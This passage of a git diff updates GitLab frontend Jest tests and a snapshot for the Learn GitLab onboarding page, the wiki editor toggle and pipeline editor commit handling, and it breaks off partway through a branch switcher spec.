diff --git a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_spec.js.snap b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_spec.js.snap
index 3e371a8765f..1586aded6e6 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_spec.js.snap
+++ b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_spec.js.snap
@@ -2,6 +2,8 @@
exports[`Learn GitLab renders correctly 1`] = `
<div>
+ <!---->
+
<div
class="row"
>
@@ -131,66 +133,60 @@ exports[`Learn GitLab renders correctly 1`] = `
<div
class="gl-mb-4"
>
- <span>
- <a
- class="gl-link"
- data-track-action="click_link"
- data-track-experiment="change_continuous_onboarding_link_urls"
- data-track-label="Set up CI/CD"
- data-track-property="Growth::Conversion::Experiment::LearnGitLab"
- href="http://example.com/"
- rel="noopener noreferrer"
- target="_blank"
- >
-
- Set up CI/CD
-
- </a>
- </span>
+ <a
+ class="gl-link"
+ data-track-action="click_link"
+ data-track-experiment="change_continuous_onboarding_link_urls"
+ data-track-label="Set up CI/CD"
+ data-track-property="Growth::Conversion::Experiment::LearnGitLab"
+ href="http://example.com/"
+ rel="noopener noreferrer"
+ target="_blank"
+ >
+
+ Set up CI/CD
+
+ </a>
<!---->
</div>
<div
class="gl-mb-4"
>
- <span>
- <a
- class="gl-link"
- data-track-action="click_link"
- data-track-experiment="change_continuous_onboarding_link_urls"
- data-track-label="Start a free Ultimate trial"
- data-track-property="Growth::Conversion::Experiment::LearnGitLab"
- href="http://example.com/"
- rel="noopener noreferrer"
- target="_blank"
- >
-
- Start a free Ultimate trial
-
- </a>
- </span>
+ <a
+ class="gl-link"
+ data-track-action="click_link"
+ data-track-experiment="change_continuous_onboarding_link_urls"
+ data-track-label="Start a free Ultimate trial"
+ data-track-property="Growth::Conversion::Experiment::LearnGitLab"
+ href="http://example.com/"
+ rel="noopener noreferrer"
+ target="_blank"
+ >
+
+ Start a free Ultimate trial
+
+ </a>
<!---->
</div>
<div
class="gl-mb-4"
>
- <span>
- <a
- class="gl-link"
- data-track-action="click_link"
- data-track-experiment="change_continuous_onboarding_link_urls"
- data-track-label="Add code owners"
- data-track-property="Growth::Conversion::Experiment::LearnGitLab"
- href="http://example.com/"
- rel="noopener noreferrer"
- target="_blank"
- >
-
- Add code owners
-
- </a>
- </span>
+ <a
+ class="gl-link"
+ data-track-action="click_link"
+ data-track-experiment="change_continuous_onboarding_link_urls"
+ data-track-label="Add code owners"
+ data-track-property="Growth::Conversion::Experiment::LearnGitLab"
+ href="http://example.com/"
+ rel="noopener noreferrer"
+ target="_blank"
+ >
+
+ Add code owners
+
+ </a>
<span
class="gl-font-style-italic gl-text-gray-500"
@@ -204,22 +200,20 @@ exports[`Learn GitLab renders correctly 1`] = `
<div
class="gl-mb-4"
>
- <span>
- <a
- class="gl-link"
- data-track-action="click_link"
- data-track-experiment="change_continuous_onboarding_link_urls"
- data-track-label="Add merge request approval"
- data-track-property="Growth::Conversion::Experiment::LearnGitLab"
- href="http://example.com/"
- rel="noopener noreferrer"
- target="_blank"
- >
-
- Add merge request approval
-
- </a>
- </span>
+ <a
+ class="gl-link"
+ data-track-action="click_link"
+ data-track-experiment="change_continuous_onboarding_link_urls"
+ data-track-label="Add merge request approval"
+ data-track-property="Growth::Conversion::Experiment::LearnGitLab"
+ href="http://example.com/"
+ rel="noopener noreferrer"
+ target="_blank"
+ >
+
+ Add merge request approval
+
+ </a>
<span
class="gl-font-style-italic gl-text-gray-500"
@@ -269,44 +263,40 @@ exports[`Learn GitLab renders correctly 1`] = `
<div
class="gl-mb-4"
>
- <span>
- <a
- class="gl-link"
- data-track-action="click_link"
- data-track-experiment="change_continuous_onboarding_link_urls"
- data-track-label="Create an issue"
- data-track-property="Growth::Conversion::Experiment::LearnGitLab"
- href="http://example.com/"
- rel="noopener noreferrer"
- target="_blank"
- >
-
- Create an issue
-
- </a>
- </span>
+ <a
+ class="gl-link"
+ data-track-action="click_link"
+ data-track-experiment="change_continuous_onboarding_link_urls"
+ data-track-label="Create an issue"
+ data-track-property="Growth::Conversion::Experiment::LearnGitLab"
+ href="http://example.com/"
+ rel="noopener noreferrer"
+ target="_blank"
+ >
+
+ Create an issue
+
+ </a>
<!---->
</div>
<div
class="gl-mb-4"
>
- <span>
- <a
- class="gl-link"
- data-track-action="click_link"
- data-track-experiment="change_continuous_onboarding_link_urls"
- data-track-label="Submit a merge request"
- data-track-property="Growth::Conversion::Experiment::LearnGitLab"
- href="http://example.com/"
- rel="noopener noreferrer"
- target="_blank"
- >
-
- Submit a merge request
-
- </a>
- </span>
+ <a
+ class="gl-link"
+ data-track-action="click_link"
+ data-track-experiment="change_continuous_onboarding_link_urls"
+ data-track-label="Submit a merge request"
+ data-track-property="Growth::Conversion::Experiment::LearnGitLab"
+ href="http://example.com/"
+ rel="noopener noreferrer"
+ target="_blank"
+ >
+
+ Submit a merge request
+
+ </a>
<!---->
</div>
@@ -349,22 +339,20 @@ exports[`Learn GitLab renders correctly 1`] = `
<div
class="gl-mb-4"
>
- <span>
- <a
- class="gl-link"
- data-track-action="click_link"
- data-track-experiment="change_continuous_onboarding_link_urls"
- data-track-label="Run a Security scan using CI/CD"
- data-track-property="Growth::Conversion::Experiment::LearnGitLab"
- href="http://example.com/"
- rel="noopener noreferrer"
- target="_blank"
- >
-
- Run a Security scan using CI/CD
-
- </a>
- </span>
+ <a
+ class="gl-link"
+ data-track-action="click_link"
+ data-track-experiment="change_continuous_onboarding_link_urls"
+ data-track-label="Run a Security scan using CI/CD"
+ data-track-property="Growth::Conversion::Experiment::LearnGitLab"
+ href="http://example.com/"
+ rel="noopener noreferrer"
+ target="_blank"
+ >
+
+ Run a Security scan using CI/CD
+
+ </a>
<!---->
</div>
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js
index 882d233a239..f7b2154a935 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js
+++ b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js
@@ -1,4 +1,7 @@
import { shallowMount } from '@vue/test-utils';
+import { stubExperiments } from 'helpers/experimentation_helper';
+import { mockTracking, triggerEvent, unmockTracking } from 'helpers/tracking_helper';
+import eventHub from '~/invite_members/event_hub';
import LearnGitlabSectionLink from '~/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue';
const defaultAction = 'gitWrite';
@@ -23,6 +26,9 @@ describe('Learn GitLab Section Link', () => {
});
};
+ const openInviteMembesrModalLink = () =>
+ wrapper.find('[data-testid="invite-for-help-continuous-onboarding-experiment-link"]');
+
it('renders no icon when not completed', () => {
createWrapper(undefined, { completed: false });
@@ -46,4 +52,54 @@ describe('Learn GitLab Section Link', () => {
expect(wrapper.find('[data-testid="trial-only"]').exists()).toBe(true);
});
+
+ describe('rendering a link to open the invite_members modal instead of a regular link', () => {
+ it.each`
+ action | experimentVariant | showModal
+ ${'userAdded'} | ${'candidate'} | ${true}
+ ${'userAdded'} | ${'control'} | ${false}
+ ${defaultAction} | ${'candidate'} | ${false}
+ ${defaultAction} | ${'control'} | ${false}
+ `(
+ 'when the invite_for_help_continuous_onboarding experiment has variant: $experimentVariant and action is $action, the modal link is shown: $showModal',
+ ({ action, experimentVariant, showModal }) => {
+ stubExperiments({ invite_for_help_continuous_onboarding: experimentVariant });
+ createWrapper(action);
+
+ expect(openInviteMembesrModalLink().exists()).toBe(showModal);
+ },
+ );
+ });
+
+ describe('clicking the link to open the invite_members modal', () => {
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit').mockImplementation();
+
+ stubExperiments({ invite_for_help_continuous_onboarding: 'candidate' });
+ createWrapper('userAdded');
+ });
+
+ it('calls the eventHub', () => {
+ openInviteMembesrModalLink().vm.$emit('click');
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('openModal', {
+ inviteeType: 'members',
+ source: 'learn_gitlab',
+ tasksToBeDoneEnabled: true,
+ });
+ });
+
+ it('tracks the click', async () => {
+ const trackingSpy = mockTracking('_category_', wrapper.element, jest.spyOn);
+
+ triggerEvent(openInviteMembesrModalLink().element);
+
+ expect(trackingSpy).toHaveBeenCalledWith('_category_', 'click_link', {
+ label: 'Invite your colleagues',
+ property: 'Growth::Activation::Experiment::InviteForHelpContinuousOnboarding',
+ });
+
+ unmockTracking();
+ });
+ });
});
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_spec.js b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_spec.js
index 7e97a539a99..7e71622770f 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_spec.js
+++ b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_spec.js
@@ -1,20 +1,35 @@
-import { GlProgressBar } from '@gitlab/ui';
+import { GlProgressBar, GlAlert } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import LearnGitlab from '~/pages/projects/learn_gitlab/components/learn_gitlab.vue';
import eventHub from '~/invite_members/event_hub';
-import { testActions, testSections } from './mock_data';
+import { testActions, testSections, testProject } from './mock_data';
describe('Learn GitLab', () => {
let wrapper;
+ let sidebar;
let inviteMembersOpen = false;
const createWrapper = () => {
wrapper = mount(LearnGitlab, {
- propsData: { actions: testActions, sections: testSections, inviteMembersOpen },
+ propsData: {
+ actions: testActions,
+ sections: testSections,
+ project: testProject,
+ inviteMembersOpen,
+ },
});
};
beforeEach(() => {
+ sidebar = document.createElement('div');
+ sidebar.innerHTML = `
+ <div class="sidebar-top-level-items">
+ <div class="active">
+ <div class="count"></div>
+ </div>
+ </div>
+ `;
+ document.body.appendChild(sidebar);
createWrapper();
});
@@ -22,6 +37,7 @@ describe('Learn GitLab', () => {
wrapper.destroy();
wrapper = null;
inviteMembersOpen = false;
+ sidebar.remove();
});
it('renders correctly', () => {
@@ -66,4 +82,26 @@ describe('Learn GitLab', () => {
expect(spy).not.toHaveBeenCalled();
});
});
+
+ describe('when the showSuccessfulInvitationsAlert event is fired', () => {
+ const findAlert = () => wrapper.findComponent(GlAlert);
+
+ beforeEach(() => {
+ eventHub.$emit('showSuccessfulInvitationsAlert');
+ });
+
+ it('displays the successful invitations alert', () => {
+ expect(findAlert().exists()).toBe(true);
+ });
+
+ it('displays a message with the project name', () => {
+ expect(findAlert().text()).toBe(
+ "Your team is growing! You've successfully invited new team members to the test-project project.",
+ );
+ });
+
+ it('modifies the sidebar percentage', () => {
+ expect(sidebar.textContent.trim()).toBe('22%');
+ });
+ });
});
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/mock_data.js b/spec/frontend/pages/projects/learn_gitlab/components/mock_data.js
index 8d6ac737db8..1e633cb7cf5 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/mock_data.js
+++ b/spec/frontend/pages/projects/learn_gitlab/components/mock_data.js
@@ -57,3 +57,7 @@ export const testSections = {
svg: 'plan.svg',
},
};
+
+export const testProject = {
+ name: 'test-project',
+};
diff --git a/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js b/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js
index 9d510b3d231..f4236146d33 100644
--- a/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js
+++ b/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js
@@ -1,5 +1,6 @@
+import { nextTick } from 'vue';
import { GlLoadingIcon, GlModal } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
+import { mount, shallowMount } from '@vue/test-utils';
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import { mockTracking } from 'helpers/tracking_helper';
@@ -32,12 +33,15 @@ describe('WikiForm', () => {
const findSubmitButton = () => wrapper.findByTestId('wiki-submit-button');
const findCancelButton = () => wrapper.findByRole('link', { name: 'Cancel' });
const findUseNewEditorButton = () => wrapper.findByRole('button', { name: 'Use the new editor' });
+ const findToggleEditingModeButton = () => wrapper.findByTestId('toggle-editing-mode-button');
const findDismissContentEditorAlertButton = () =>
wrapper.findByRole('button', { name: 'Try this later' });
const findSwitchToOldEditorButton = () =>
wrapper.findByRole('button', { name: 'Switch me back to the classic editor.' });
- const findTitleHelpLink = () => wrapper.findByRole('link', { name: 'More Information.' });
+ const findTitleHelpLink = () => wrapper.findByRole('link', { name: 'Learn more.' });
const findMarkdownHelpLink = () => wrapper.findByTestId('wiki-markdown-help-link');
+ const findContentEditor = () => wrapper.findComponent(ContentEditor);
+ const findClassicEditor = () => wrapper.findComponent(MarkdownField);
const setFormat = (value) => {
const format = findFormat();
@@ -73,18 +77,24 @@ describe('WikiForm', () => {
path: '/project/path/-/wikis/home',
};
- function createWrapper(persisted = false, { pageInfo } = {}) {
+ const formatOptions = {
+ Markdown: 'markdown',
+ RDoc: 'rdoc',
+ AsciiDoc: 'asciidoc',
+ Org: 'org',
+ };
+
+ function createWrapper(
+ persisted = false,
+ { pageInfo, glFeatures = { wikiSwitchBetweenContentEditorRawMarkdown: false } } = {},
+ ) {
wrapper = extendedWrapper(
mount(
WikiForm,
{
provide: {
- formatOptions: {
- Markdown: 'markdown',
- RDoc: 'rdoc',
- AsciiDoc: 'asciidoc',
- Org: 'org',
- },
+ formatOptions,
+ glFeatures,
pageInfo: {
...(persisted ? pageInfoPersisted : pageInfoNew),
...pageInfo,
@@ -96,6 +106,27 @@ describe('WikiForm', () => {
);
}
+ const createShallowWrapper = (
+ persisted = false,
+ { pageInfo, glFeatures = { wikiSwitchBetweenContentEditorRawMarkdown: false } } = {},
+ ) => {
+ wrapper = extendedWrapper(
+ shallowMount(WikiForm, {
+ provide: {
+ formatOptions,
+ glFeatures,
+ pageInfo: {
+ ...(persisted ? pageInfoPersisted : pageInfoNew),
+ ...pageInfo,
+ },
+ },
+ stubs: {
+ MarkdownField,
+ },
+ }),
+ );
+ };
+
beforeEach(() => {
trackingSpy = mockTracking(undefined, null, jest.spyOn);
mock = new MockAdapter(axios);
@@ -193,14 +224,13 @@ describe('WikiForm', () => {
});
describe('when wiki content is updated', () => {
- beforeEach(() => {
+ beforeEach(async () => {
createWrapper(true);
const input = findContent();
input.setValue(' Lorem ipsum dolar sit! ');
- input.element.dispatchEvent(new Event('input'));
- return wrapper.vm.$nextTick();
+ await input.trigger('input');
});
it('sets before unload warning', () => {
@@ -279,6 +309,100 @@ describe('WikiForm', () => {
);
});
+ describe('when wikiSwitchBetweenContentEditorRawMarkdown feature flag is not enabled', () => {
+ beforeEach(() => {
+ createShallowWrapper(true, {
+ glFeatures: { wikiSwitchBetweenContentEditorRawMarkdown: false },
+ });
+ });
+
+ it('hides toggle editing mode button', () => {
+ expect(findToggleEditingModeButton().exists()).toBe(false);
+ });
+ });
+
+ describe('when wikiSwitchBetweenContentEditorRawMarkdown feature flag is enabled', () => {
+ beforeEach(() => {
+ createShallowWrapper(true, {
+ glFeatures: { wikiSwitchBetweenContentEditorRawMarkdown: true },
+ });
+ });
+
+ it('hides gl-alert containing "use new editor" button', () => {
+ expect(findUseNewEditorButton().exists()).toBe(false);
+ });
+
+ it('displays toggle editing mode button', () => {
+ expect(findToggleEditingModeButton().exists()).toBe(true);
+ });
+
+ describe('when content editor is not active', () => {
+ it('displays "Edit rich text" label in the toggle editing mode button', () => {
+ expect(findToggleEditingModeButton().text()).toBe('Edit rich text');
+ });
+
+ describe('when clicking the toggle editing mode button', () => {
+ beforeEach(() => {
+ findToggleEditingModeButton().vm.$emit('click');
+ });
+
+ it('hides the classic editor', () => {
+ expect(findClassicEditor().exists()).toBe(false);
+ });
+
+ it('hides the content editor', () => {
+ expect(findContentEditor().exists()).toBe(true);
+ });
+ });
+ });
+
+ describe('when content editor is active', () => {
+ let mockContentEditor;
+
+ beforeEach(() => {
+ mockContentEditor = {
+ getSerializedContent: jest.fn(),
+ setSerializedContent: jest.fn(),
+ };
+
+ findToggleEditingModeButton().vm.$emit('click');
+ });
+
+ it('hides switch to old editor button', () => {
+ expect(findSwitchToOldEditorButton().exists()).toBe(false);
+ });
+
+ it('displays "Edit source" label in the toggle editing mode button', () => {
+ expect(findToggleEditingModeButton().text()).toBe('Edit source');
+ });
+
+ describe('when clicking the toggle editing mode button', () => {
+ const contentEditorFakeSerializedContent = 'fake content';
+
+ beforeEach(() => {
+ mockContentEditor.getSerializedContent.mockReturnValueOnce(
+ contentEditorFakeSerializedContent,
+ );
+
+ findContentEditor().vm.$emit('initialized', mockContentEditor);
+ findToggleEditingModeButton().vm.$emit('click');
+ });
+
+ it('hides the content editor', () => {
+ expect(findContentEditor().exists()).toBe(false);
+ });
+
+ it('displays the classic editor', () => {
+ expect(findClassicEditor().exists()).toBe(true);
+ });
+
+ it('updates the classic editor content field', () => {
+ expect(findContent().element.value).toBe(contentEditorFakeSerializedContent);
+ });
+ });
+ });
+ });
+
describe('wiki content editor', () => {
beforeEach(() => {
createWrapper(true);
@@ -306,8 +430,8 @@ describe('WikiForm', () => {
});
const assertOldEditorIsVisible = () => {
- expect(wrapper.findComponent(ContentEditor).exists()).toBe(false);
- expect(wrapper.findComponent(MarkdownField).exists()).toBe(true);
+ expect(findContentEditor().exists()).toBe(false);
+ expect(findClassicEditor().exists()).toBe(true);
expect(findSubmitButton().props('disabled')).toBe(false);
expect(wrapper.text()).not.toContain(
@@ -376,10 +500,6 @@ describe('WikiForm', () => {
findUseNewEditorButton().trigger('click');
});
- it('shows a loading indicator for the rich text editor', () => {
- expect(wrapper.findComponent(GlLoadingIcon).exists()).toBe(true);
- });
-
it('shows a tip to send feedback', () => {
expect(wrapper.text()).toContain('Tell us your experiences with the new Markdown editor');
});
@@ -412,16 +532,8 @@ describe('WikiForm', () => {
});
describe('when wiki content is updated', () => {
- beforeEach(async () => {
- // wait for content editor to load
- await waitForPromises();
-
- wrapper.vm.contentEditor.tiptapEditor.commands.setContent(
- '<p>hello __world__ from content editor</p>',
- true,
- );
-
- return wrapper.vm.$nextTick();
+ beforeEach(() => {
+ findContentEditor().vm.$emit('change', { empty: false });
});
it('sets before unload warning', () => {
@@ -432,7 +544,7 @@ describe('WikiForm', () => {
it('unsets before unload warning on form submit', async () => {
triggerFormSubmit();
- await wrapper.vm.$nextTick();
+ await nextTick();
const e = dispatchBeforeUnload();
expect(e.preventDefault).not.toHaveBeenCalled();
@@ -450,8 +562,8 @@ describe('WikiForm', () => {
expect(trackingSpy).toHaveBeenCalledWith(undefined, WIKI_FORMAT_UPDATED_ACTION, {
label: WIKI_FORMAT_LABEL,
- value: findFormat().element.value,
extra: {
+ value: findFormat().element.value,
old_format: pageInfoPersisted.format,
project_path: pageInfoPersisted.path,
},
diff --git a/spec/frontend/pipeline_editor/components/commit/commit_form_spec.js b/spec/frontend/pipeline_editor/components/commit/commit_form_spec.js
index 23219042008..7244a179820 100644
--- a/spec/frontend/pipeline_editor/components/commit/commit_form_spec.js
+++ b/spec/frontend/pipeline_editor/components/commit/commit_form_spec.js
@@ -1,3 +1,4 @@
+import { nextTick } from 'vue';
import { GlFormInput, GlFormTextarea } from '@gitlab/ui';
import { shallowMount, mount } from '@vue/test-utils';
@@ -32,7 +33,6 @@ describe('Pipeline Editor | Commit Form', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('when the form is displayed', () => {
@@ -78,7 +78,7 @@ describe('Pipeline Editor | Commit Form', () => {
it('emits an event when the form resets', () => {
findCancelBtn().trigger('click');
- expect(wrapper.emitted('cancel')).toHaveLength(1);
+ expect(wrapper.emitted('resetContent')).toHaveLength(1);
});
});
@@ -121,7 +121,7 @@ describe('Pipeline Editor | Commit Form', () => {
beforeEach(async () => {
createComponent();
wrapper.setProps({ scrollToCommitForm: true });
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('scrolls into view', () => {
diff --git a/spec/frontend/pipeline_editor/components/commit/commit_section_spec.js b/spec/frontend/pipeline_editor/components/commit/commit_section_spec.js
index efc345d8877..bc77b7045eb 100644
--- a/spec/frontend/pipeline_editor/components/commit/commit_section_spec.js
+++ b/spec/frontend/pipeline_editor/components/commit/commit_section_spec.js
@@ -1,5 +1,7 @@
+import VueApollo from 'vue-apollo';
import { GlFormTextarea, GlFormInput, GlLoadingIcon } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
+import { createLocalVue, mount } from '@vue/test-utils';
+import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import { objectToQuery, redirectTo } from '~/lib/utils/url_utility';
import CommitForm from '~/pipeline_editor/components/commit/commit_form.vue';
@@ -10,18 +12,22 @@ import {
COMMIT_SUCCESS,
} from '~/pipeline_editor/constants';
import commitCreate from '~/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql';
+import updatePipelineEtag from '~/pipeline_editor/graphql/mutations/client/update_pipeline_etag.mutation.graphql';
import {
mockCiConfigPath,
mockCiYml,
+ mockCommitCreateResponse,
+ mockCommitCreateResponseNewEtag,
mockCommitSha,
- mockCommitNextSha,
mockCommitMessage,
mockDefaultBranch,
mockProjectFullPath,
mockNewMergeRequestPath,
} from '../../mock_data';
+const localVue = createLocalVue();
+
jest.mock('~/lib/utils/url_utility', () => ({
redirectTo: jest.fn(),
refreshCurrentPage: jest.fn(),
@@ -47,7 +53,8 @@ const mockProvide = {
describe('Pipeline Editor | Commit section', () => {
let wrapper;
- let mockMutate;
+ let mockApollo;
+ const mockMutateCommitData = jest.fn();
const defaultProps = {
ciFileContent: mockCiYml,
@@ -55,18 +62,7 @@ describe('Pipeline Editor | Commit section', () => {
isNewCiConfigFile: false,
};
- const createComponent = ({ props = {}, options = {}, provide = {} } = {}) => {
- mockMutate = jest.fn().mockResolvedValue({
- data: {
- commitCreate: {
- errors: [],
- commit: {
- sha: mockCommitNextSha,
- },
- },
- },
- });
-
+ const createComponent = ({ apolloConfig = {}, props = {}, options = {}, provide = {} } = {}) => {
wrapper = mount(CommitSection, {
propsData: { ...defaultProps, ...props },
provide: { ...mockProvide, ...provide },
@@ -75,16 +71,25 @@ describe('Pipeline Editor | Commit section', () => {
currentBranch: mockDefaultBranch,
};
},
- mocks: {
- $apollo: {
- mutate: mockMutate,
- },
- },
attachTo: document.body,
+ ...apolloConfig,
...options,
});
};
+ const createComponentWithApollo = (options) => {
+ const handlers = [[commitCreate, mockMutateCommitData]];
+ localVue.use(VueApollo);
+ mockApollo = createMockApollo(handlers);
+
+ const apolloConfig = {
+ localVue,
+ apolloProvider: mockApollo,
+ };
+
+ createComponent({ ...options, apolloConfig });
+ };
+
const findCommitForm = () => wrapper.findComponent(CommitForm);
const findCommitBtnLoadingIcon = () =>
wrapper.find('[type="submit"]').findComponent(GlLoadingIcon);
@@ -103,72 +108,54 @@ describe('Pipeline Editor | Commit section', () => {
await waitForPromises();
};
- const cancelCommitForm = async () => {
- const findCancelBtn = () => wrapper.find('[type="reset"]');
- await findCancelBtn().trigger('click');
- };
-
afterEach(() => {
- mockMutate.mockReset();
wrapper.destroy();
});
describe('when the user commits a new file', () => {
beforeEach(async () => {
- createComponent({ props: { isNewCiConfigFile: true } });
+ mockMutateCommitData.mockResolvedValue(mockCommitCreateResponse);
+ createComponentWithApollo({ props: { isNewCiConfigFile: true } });
await submitCommit();
});
it('calls the mutation with the CREATE action', () => {
- // the extra calls are for updating client queries (currentBranch and lastCommitBranch)
- expect(mockMutate).toHaveBeenCalledTimes(3);
- expect(mockMutate).toHaveBeenCalledWith({
- mutation: commitCreate,
- update: expect.any(Function),
- variables: {
- ...mockVariables,
- action: COMMIT_ACTION_CREATE,
- branch: mockDefaultBranch,
- },
+ expect(mockMutateCommitData).toHaveBeenCalledTimes(1);
+ expect(mockMutateCommitData).toHaveBeenCalledWith({
+ ...mockVariables,
+ action: COMMIT_ACTION_CREATE,
+ branch: mockDefaultBranch,
});
});
});
describe('when the user commits an update to an existing file', () => {
beforeEach(async () => {
- createComponent();
+ createComponentWithApollo();
await submitCommit();
});
it('calls the mutation with the UPDATE action', () => {
- expect(mockMutate).toHaveBeenCalledTimes(3);
- expect(mockMutate).toHaveBeenCalledWith({
- mutation: commitCreate,
- update: expect.any(Function),
- variables: {
- ...mockVariables,
- action: COMMIT_ACTION_UPDATE,
- branch: mockDefaultBranch,
- },
+ expect(mockMutateCommitData).toHaveBeenCalledTimes(1);
+ expect(mockMutateCommitData).toHaveBeenCalledWith({
+ ...mockVariables,
+ action: COMMIT_ACTION_UPDATE,
+ branch: mockDefaultBranch,
});
});
});
describe('when the user commits changes to the current branch', () => {
beforeEach(async () => {
- createComponent();
+ createComponentWithApollo();
await submitCommit();
});
it('calls the mutation with the current branch', () => {
- expect(mockMutate).toHaveBeenCalledTimes(3);
- expect(mockMutate).toHaveBeenCalledWith({
- mutation: commitCreate,
- update: expect.any(Function),
- variables: {
- ...mockVariables,
- branch: mockDefaultBranch,
- },
+ expect(mockMutateCommitData).toHaveBeenCalledTimes(1);
+ expect(mockMutateCommitData).toHaveBeenCalledWith({
+ ...mockVariables,
+ branch: mockDefaultBranch,
});
});
@@ -188,14 +175,10 @@ describe('Pipeline Editor | Commit section', () => {
it('a second commit submits the latest sha, keeping the form updated', async () => {
await submitCommit();
- expect(mockMutate).toHaveBeenCalledTimes(6);
- expect(mockMutate).toHaveBeenCalledWith({
- mutation: commitCreate,
- update: expect.any(Function),
- variables: {
- ...mockVariables,
- branch: mockDefaultBranch,
- },
+ expect(mockMutateCommitData).toHaveBeenCalledTimes(2);
+ expect(mockMutateCommitData).toHaveBeenCalledWith({
+ ...mockVariables,
+ branch: mockDefaultBranch,
});
});
});
@@ -204,20 +187,16 @@ describe('Pipeline Editor | Commit section', () => {
const newBranch = 'new-branch';
beforeEach(async () => {
- createComponent();
+ createComponentWithApollo();
await submitCommit({
branch: newBranch,
});
});
it('calls the mutation with the new branch', () => {
- expect(mockMutate).toHaveBeenCalledWith({
- mutation: commitCreate,
- update: expect.any(Function),
- variables: {
- ...mockVariables,
- branch: newBranch,
- },
+ expect(mockMutateCommitData).toHaveBeenCalledWith({
+ ...mockVariables,
+ branch: newBranch,
});
});
@@ -230,7 +209,7 @@ describe('Pipeline Editor | Commit section', () => {
const newBranch = 'new-branch';
beforeEach(async () => {
- createComponent();
+ createComponentWithApollo();
await submitCommit({
branch: newBranch,
openMergeRequest: true,
@@ -249,11 +228,11 @@ describe('Pipeline Editor | Commit section', () => {
describe('when the commit is ocurring', () => {
beforeEach(() => {
- createComponent();
+ createComponentWithApollo();
});
it('shows a saving state', async () => {
- mockMutate.mockImplementationOnce(() => {
+ mockMutateCommitData.mockImplementationOnce(() => {
expect(findCommitBtnLoadingIcon().exists()).toBe(true);
return Promise.resolve();
});
@@ -266,15 +245,23 @@ describe('Pipeline Editor | Commit section', () => {
});
});
- describe('when the commit form is cancelled', () => {
+ describe('when the commit returns a different etag path', () => {
beforeEach(async () => {
- createComponent();
+ createComponentWithApollo();
+ jest.spyOn(wrapper.vm.$apollo, 'mutate');
+ mockMutateCommitData.mockResolvedValue(mockCommitCreateResponseNewEtag);
+ await submitCommit();
});
- it('emits an event so that it cab be reseted', async () => {
- await cancelCommitForm();
-
- expect(wrapper.emitted('resetContent')).toHaveLength(1);
+ it('calls the client mutation to update the etag', () => {
+ // 1:Commit submission, 2:etag update, 3:currentBranch update, 4:lastCommit update
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledTimes(4);
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenNthCalledWith(2, {
+ mutation: updatePipelineEtag,
+ variables: {
+ pipelineEtag: mockCommitCreateResponseNewEtag.data.commitCreate.commitPipelinePath,
+ },
+ });
});
});
diff --git a/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js b/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js
index a43da4b0f19..cab4810cbf1 100644
--- a/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js
+++ b/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js
@@ -1,7 +1,6 @@
import { shallowMount } from '@vue/test-utils';
import { EDITOR_READY_EVENT } from '~/editor/constants';
-import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
import TextEditor from '~/pipeline_editor/components/editor/text_editor.vue';
import {
mockCiConfigPath,
@@ -59,10 +58,6 @@ describe('Pipeline Editor | Text editor component', () => {
const findEditor = () => wrapper.findComponent(MockSourceEditor);
- beforeEach(() => {
- SourceEditorExtension.deferRerender = jest.fn();
- });
-
afterEach(() => {
wrapper.destroy();
diff --git a/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js b/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
index 6532c4e289d..ab9027a56a4 100644
--- a/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
+++ b/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
@@ -11,7 +11,7 @@ import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import BranchSwitcher from '~/pipeline_editor/components/file_nav/branch_switcher.vue';
import { DEFAULT_FAILURE } from '~/pipeline_editor/constants';
-import getAvailableBranchesQuery from '~/pipeline_editor/graphql/queries/available_branches.graphql';
+import getAvailableBranchesQuery from '~/pipeline_editor/graphql/queries/available_branches.query.graphql';
import {
mockBranchPaginationLimit,
mockDefaultBranch,
@@ -22,7 +22,6 @@ import {
mockTotalBranches,
mockTotalBranchResults,
mockTotalSearchResults,
- mockNewBranch,
} from '../../mock_data';
const localVue = createLocalVue();
@@ -32,18 +31,14 @@ describe('Pipeline editor branch switcher', () => {
let wrapper;
let mockApollo;
let mockAvailableBranchQuery;
- let mockCurrentBranchQuery;
- let mockLastCommitBranchQuery;
-
- const createComponent = (
